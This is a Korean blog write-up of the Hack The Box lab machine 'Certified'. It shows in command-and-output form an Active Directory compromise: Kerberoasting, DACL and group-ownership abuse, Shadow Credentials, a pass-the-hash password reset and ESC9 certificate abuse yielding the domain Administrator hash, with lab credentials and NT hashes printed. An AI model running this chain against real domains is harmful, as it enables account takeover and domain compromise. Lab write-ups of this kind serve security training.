IP : 10.10.11.41
Machine Information
As is common in Windows pentests, you will start the Certified box with credentials for the following account: Username: judith.mader Password: judith09
Certified 타겟은 기본적인 계정인 judith.mader:judith09을 제공한다.
Nmap 결과
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ sudo nmap -sC -sV -p- -T4 -Pn -O -oN tcp_nmap 10.10.11.41
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 08:57 EST
Nmap scan report for 10.10.11.41
Host is up (0.21s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-15 21:04:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-15T21:05:53+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-12-15T21:05:51+00:00; +7h00m03s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-15T21:05:53+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-15T21:05:51+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
49740/tcp open msrpc Microsoft Windows RPC
49775/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m02s
| smb2-time:
| date: 2024-12-15T21:05:14
|_ start_date: N/A
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 475.37 seconds
88 kerberos를 통해 Active Directory인 것을 유추할 수 있음.
주어진 계정 judith.mader:judith09를 통해 netexec을 사용해 SMB 폴더, 사용자, 패스워드 정책 열거
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ netexec smb 10.10.11.41 -u judith.mader -p judith09 --shares
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 [*] Enumerated shares
SMB 10.10.11.41 445 DC01 Share Permissions Remark
SMB 10.10.11.41 445 DC01 ----- ----------- ------
SMB 10.10.11.41 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.41 445 DC01 C$ Default share
SMB 10.10.11.41 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.41 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.41 445 DC01 SYSVOL READ Logon server share
---------------------------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ netexec smb 10.10.11.41 -u judith.mader -p judith09 --users
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.41 445 DC01 Administrator 2024-05-13 14:53:16 0 Built-in account for administering the computer/domain
SMB 10.10.11.41 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.41 445 DC01 krbtgt 2024-05-13 15:02:51 0 Key Distribution Center Service Account
SMB 10.10.11.41 445 DC01 judith.mader 2024-05-14 19:22:11 0
SMB 10.10.11.41 445 DC01 management_svc 2024-05-13 15:30:51 0
SMB 10.10.11.41 445 DC01 ca_operator 2024-05-13 15:32:03 0
SMB 10.10.11.41 445 DC01 alexander.huges 2024-05-14 16:39:08 0
SMB 10.10.11.41 445 DC01 harry.wilson 2024-05-14 16:39:37 0
SMB 10.10.11.41 445 DC01 gregory.cameron 2024-05-14 16:40:05 0
----------------------------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ netexec smb 10.10.11.41 -u judith.mader -p judith09 --pass-pol
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 [+] Dumping password info for domain: CERTIFIED
SMB 10.10.11.41 445 DC01 Minimum password length: 7
SMB 10.10.11.41 445 DC01 Password history length: 24
SMB 10.10.11.41 445 DC01 Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.11.41 445 DC01
SMB 10.10.11.41 445 DC01 Password Complexity Flags: 000000
SMB 10.10.11.41 445 DC01 Domain Refuse Password Change: 0
SMB 10.10.11.41 445 DC01 Domain Password Store Cleartext: 0
SMB 10.10.11.41 445 DC01 Domain Password Lockout Admins: 0
SMB 10.10.11.41 445 DC01 Domain Password No Clear Change: 0
SMB 10.10.11.41 445 DC01 Domain Password No Anon Change: 0
SMB 10.10.11.41 445 DC01 Domain Password Complex: 0
SMB 10.10.11.41 445 DC01
SMB 10.10.11.41 445 DC01 Minimum password age: 1 day 4 minutes
SMB 10.10.11.41 445 DC01 Reset Account Lockout Counter: 10 minutes
SMB 10.10.11.41 445 DC01 Locked Account Duration: 10 minutes
SMB 10.10.11.41 445 DC01 Account Lockout Threshold: None
SMB 10.10.11.41 445 DC01 Forced Log off Time: Not Set
사용자는 5명으로 구분됨
이에 SPN 계정으로 보이는 management_svc에 대한 Kerberoasting이 가능한지 impacket-GetUserSPN을 통해 실행.
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" impacket-GetUserSPNs -dc-ip 10.10.11.41 certified.htb/judith.mader -request -outputfile SPN
CLOCK: step_systime: Operation not permitted
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- -------------- ------------------------------------------ -------------------------- --------- ----------
certified.htb/management_svc.DC01 management_svc CN=Management,CN=Users,DC=certified,DC=htb 2024-05-13 11:30:51.476756 <never>
mangement_svc는 예상과 같이 SPN 계정으로 출력됐고 저장된 티켓을 hashcat 모듈 13100을 이용해 크랙 진행
하지만 rockyou.txt로는 크랙이 불가
이에 접근할 수 있는 SMB 폴더에 충분한 정보가 있는지 확인해봤지만 정보 X
이에 bloodhound-python을 이용해 bloodhound에서 정보를 수집
bloodhound-python -u judith.mader -p judith09 -ns 10.10.11.41 -d certified.htb -c all
--------------------------------------------------------------------------------------
MATCH (m:User) return m
위와 같이 Raw Query 칸에 MATCH (m:User) return m를 사용해 사용자를 추출 후 judith.mader에게 Mark User as Owned를 체크
그 후, management_svc에게 Shortest Paths to Here from Owned를 눌러서 확인
위 사진에서 알 수 있는 것이 judith.mader가 Management_svc가 속해있는 그룹 Management에 대한 WriteOwner 권한을 가지고 있다. 이를 알아보기 위해 Help를 누르면 이에 대한 설명을 볼 수 있음
현재 우리는 Certified 머신의 대화형 쉘을 얻을 수 없고, Linux에서만 진행가능해서 Linux Abuse를 사용해야 한다.
To change the ownership of the object, you may use Impacket's owneredit example script (cf. "grant ownership" reference for the exact link).
owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'
Modifying the rights
To abuse ownership of a group object, you may grant yourself the AddMember privilege.
Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link).
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'
Adding to the group
You can now add members to the group.
Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line:
net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
Pass-the-hash can also be done here with pth-toolkit's net tool. If the LM hash is not known it must be replace with ffffffffffffffffffffffffffffffff.
pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"
Finally, verify that the user was successfully added to the group:
net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
Cleanup
Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link).
dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'
Linux Abuse에서는 WriteOwner를 이용해 management_svc에 대한 권한을 얻을 수 있는 방법을 알려준다.
이에 management 그룹에 소유권을 변경하기 위해 impacket-owneredit을 사용했더니 아래와 같은 에러 발생
이를 고치기 위해 owneredit에 대한 사용법을 찾다가 Hacker's Recipe에서 owneredit 대신 bloodyAD를 사용하는 방법을 추천
https://www.thehacker.recipes/ad/movement/dacl/grant-ownership
bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p judith09 set owner Management judith.mader
위 결과에서 Management의 소유권이 judith.mader로 변경된 것을 알 수 있음.
그 다음 dacledit에는 타겟의 DN을 알아야 하기 때문에, Management의 DN을 알기 위해 ldapsearch를 사용
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ ldapsearch -x -H ldap://10.10.11.41 -D "judith.mader@certified.htb" -w "judith09" -b "dc=certified,dc=htb" "(sAMAccountName=Management)" * > management_dc
[또는 쿼리문을 "(&(objectcategory=group)(cn=Management))"로 바꿔도 됨]
이에 얻은 dn을 이용해 dacledit을 사용.
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal judith.mader -target-dn 'CN=Management,CN=Users,DC=certified,DC=htb' certified.htb/judith.mader:judith09
dacledit을 이용해 judith.mader가 management의 WriteMembers 권한 획득. 이제 judith.mader를 management 그룹에 추가하기 위해 위에 나와있는 net rpc 대신, bloodyAD 사용
bloodyAD --host "10.10.11.41" -d "certified.htb" -u judith.mader -p judith09 add groupMember Management judith.mader
추가가 됐지만, 실제로 검증하기 위해 rpcclient를 사용
이제 judith.mader는 management의 그룹 권한으로 management_svc에 GenericAll 권한을 통해 공격 가능
bloodhound에서 나와있는 Abuse 방법을 살펴보면 2개의 공격이 가능하다고 한다. 하지만 targetedkerberoast는 mangement_svc에 대한 해시를 얻는 것인데, 위에서 진행했을 때 크랙이 안되니 Shadow Credentials Attack을 진행하도록 한다. 이는 Active Directory(AD) 환경에서 msDS-KeyCredentialLink 속성을 악용하여 특정 사용자 또는 컴퓨터 계정을 탈취하거나 권한을 상승시키는 공격 기법이라고 한다.
Targeted Kerberoast
A targeted kerberoast attack can be performed using targetedKerberoast.py.
targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'
The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well.
The recovered hash can be cracked offline using the tool of your choice.
Shadow Credentials attack
To abuse this privilege, use pyWhisker.
pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"
For other optional parameters, view the pyWhisker documentation.
pywhisker를 다운받아 다음 코드를 실행
┌──(.venv)─(kali㉿kali)-[~/…/Machine/Certified/pywhisker/pywhisker]
└─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p judith09 --target "management_svc" --action add
pywhisker를 통해 PFX 인증서와 키를 받고, 비밀번호를 임의로 변경( PFX 형식(#PKCS12, 인증서 + 비밀번호로 보호되는 개인 키))
pywhisker github에 보면 그 다음 PKINITOOLS를 사용해 Shadow Crednetials를 진행
https://github.com/ShutdownRepo/pywhisker?tab=readme-ov-file
https://github.com/dirkjanm/PKINITtools/tree/master
gettgtpkinit을 사용하다보니, The clock skew is too great이라는 에러를 출력받았는데, 이는 계속해서 받은 에러이다. 찾아보니 라이언트 서버와 타켓 서버의 시간 동기화가 이루어 지지 않을 때 발생한다고 한다.
오류 해결을 위해 ntpdate와 faketime을 사용하여 시간을 동기화했다. ntpdate를 통해 certified.htb 서버의 시간을 가져오고, faketime을 이용해 해당 명령어의 시간을 certified.htb 서버와 임시로 일치시킨다.
faketime "$(ntpdate -q certified.htb | cut -d ' ' -f 1,2)" python3 gettgtpkinit.py -cert-pfx ../pywhisker/pywhisker/A0CuHDyN.pfx -pfx-pass 7qOYEeyMLzd3zvEchyps certified.htb/management_svc man.ccache
이제 TGT 파일 man.ccache을 gettgtpkinit을 통해 얻었고, 이에 얻은 TGT 티켓을 KRB5CCNAME으로 선언해주고, PKINITOOLS에 있는 getnthash를 통해 NTHASH를 추출한다.(만약 선언하지 않으면 KRB5CCNAME이 없어서 에러가 난다.)
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ export KRB5CCNAME=man.ccache
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ faketime "$(ntpdate -q certified.htb | cut -d ' ' -f 1,2)" python3 getnthash.py certified.htb/management_svc -key cc555c5cdd1dab21164b9b4182af105f0c29fd9363abadc828212b012621d037
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
/home/kali/HTB/Machine/Certified/PKINITtools/getnthash.py:144: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/home/kali/HTB/Machine/Certified/PKINITtools/getnthash.py:192: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
이에 얻은 해시를 이용해 netexec을 사용해 맞는 해시인지 검증해보면 hash가 적절히 맞는 것을 볼 수 있다.
얻은 management_svc의 계정의 권한을 찾아보다가, ca_operator의 GenricAll 권한이 있는 것을 확인했다.
evil-winrm을 통해 Shell을 얻어보면
management_svc로 shell을 얻을 수 있다.
Privilege Escalation
management_svc는 ca_operator에 GenericAll 권한이 있는데 이는 Bloodhound에서 First Degree Object Control을 살펴보면 된다.
GenericAll을 통해 비밀번호를 교채하려 한다. Linux Abuse 탭을 참고해보면
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/targetedKerberoast]
└─$ pth-net rpc password "ca_operator" "password1" -U "certified.htb/management_svc%ffffffffffffffffffffffffffffffff:a091c1832bcdd4677c28b5a6a1295584" -S certified.htb
ca_operator의 비밀번호가 password1로 변경되었다. 이 후, certipy-ad를 통해 해당 계정의 취약한 인증서 템플릿을 식별한다. 이 내용은 아래 링크에서 확인할 수 있다.
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ certipy-ad find -username ca_operator@certified.htb -p password1 -dc-ip 10.10.11.41 -text -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved text output to '20241216071224_Certipy.txt'
저장된 파일을 확인하게 되면 취약한 템플릿에 대해 설명해주는데 위에 결과에서 알려준 ESC9를 이용해 공격을 진행하려 한다. 이는 UPN을 Administrator로 변경해 Administrator.pfx를 요청해서 NT Hash를 얻어낸다.
위 시나리오를 진행하는데 필자는 ca_operator의 비밀번호를 password1로 변경했지만 해시를 요청하는 것부터 시작을 했다. [여기서부터는 faketime을 통해 서버 시간을 맞추지 않으면 skew is too great으로 인해 진행되지 않는다.]
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad shadow auto -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator
certipy-ad를 통해 ca_operator의 NT hash를 알아낸다. 그리고 ca_operator의 UPN(User Principal Name)을 Administrator로 변경한다. 이는 ESC9의 취약점으로 UPN을 Administrator로 변경해도 Administrator@certified.htb이 Administrator의 UPN으로 유지되는 것으로 인해 제약 조건을 위반하지 않는다고 한다.
이제 UPN을 변경해보면
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
위 결과로 ca_operator의 UPN이 Administrator로 변경된 것을 확인할 수 있다. 이제 취약한 ESC9 템플릿으로 ca_operator로 요청을 해보면
ESC9 템플릿을 식별하지 못하는데, 여기서 아까 취약한 템플릿에서 TemplateName으로 요청을 해야한다고 한다.
ESC9를 CertifiedAuthentication으로 바꿔서 요청해보면
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad req -username ca_operator@certified.htb -hashes 5835048ce94ad0564e29a924a03510ef -ca certified-DC01-CA -template CertifiedAuthentication
인증서와 비밀키가 administrator.pfx에 저장된 것을 확인할 수 있다. 다시 ca_operator를 원래 UPN인 ca_operator@certified.htb로 변경한다.
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
이제 마지막으로 얻은 administrator.pfx로 Administrator의 NT hash를 구해보면
┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -domain certified.htb
해시가 출력되는 것을 확인할 수 있다.
얻은 해시를 netexec으로 검증해보면 관리자의 해시를 얻은 것을 알 수 있다.
이제 evil-winrm으로 관리자 Shell을 얻을 수 있다.
이 문제는 총 2일이 걸렸는데, Privilege Escalation는 Paintester라는 분에게 ESC9 취약점을 이용하라는 힌트를 받아서 덕분에 certipy-ad의 존재를 모르고 있었는데 알게됨.
'Writeup' 카테고리의 다른 글
HTB - Cicada[Active Directory] (0) | 2024.12.14 |
---|---|
OSCP Proving Grounds Practice - Access (3) | 2024.12.02 |